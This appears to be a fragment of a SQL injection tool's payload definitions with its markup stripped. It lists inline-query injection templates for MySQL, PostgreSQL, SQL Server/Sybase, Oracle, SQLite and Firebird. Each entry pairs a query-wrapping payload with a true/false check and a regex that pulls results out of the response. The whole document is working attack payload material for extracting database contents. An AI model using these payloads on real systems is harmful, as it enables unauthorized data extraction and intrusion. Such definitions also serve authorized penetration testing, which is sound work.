MySQL inline queries 3 1 1 1,2,3,8 3 (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL
PostgreSQL inline queries 3 1 1 1,2,3,8 3 (SELECT '[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]') (SELECT '[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]') [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
PostgreSQL
Microsoft SQL Server/Sybase inline queries 3 1 1 1,2,3,8 3 (SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]') (SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]') [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Microsoft SQL Server Sybase Windows
Oracle inline queries 3 2 1 1,2,3,8 3 (SELECT ('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') FROM DUAL) (SELECT '[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]' FROM DUAL) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Oracle
SQLite inline queries 3 3 1 1,2,3,8 3 SELECT '[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' SELECT '[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))||'[DELIMITER_STOP]' [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
SQLite
Firebird inline queries 3 3 1 1,2,3,8 3 SELECT '[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' FROM RDB$DATABASE SELECT '[DELIMITER_START]'||(CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END)||'[DELIMITER_STOP]' FROM RDB$DATABASE [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Firebird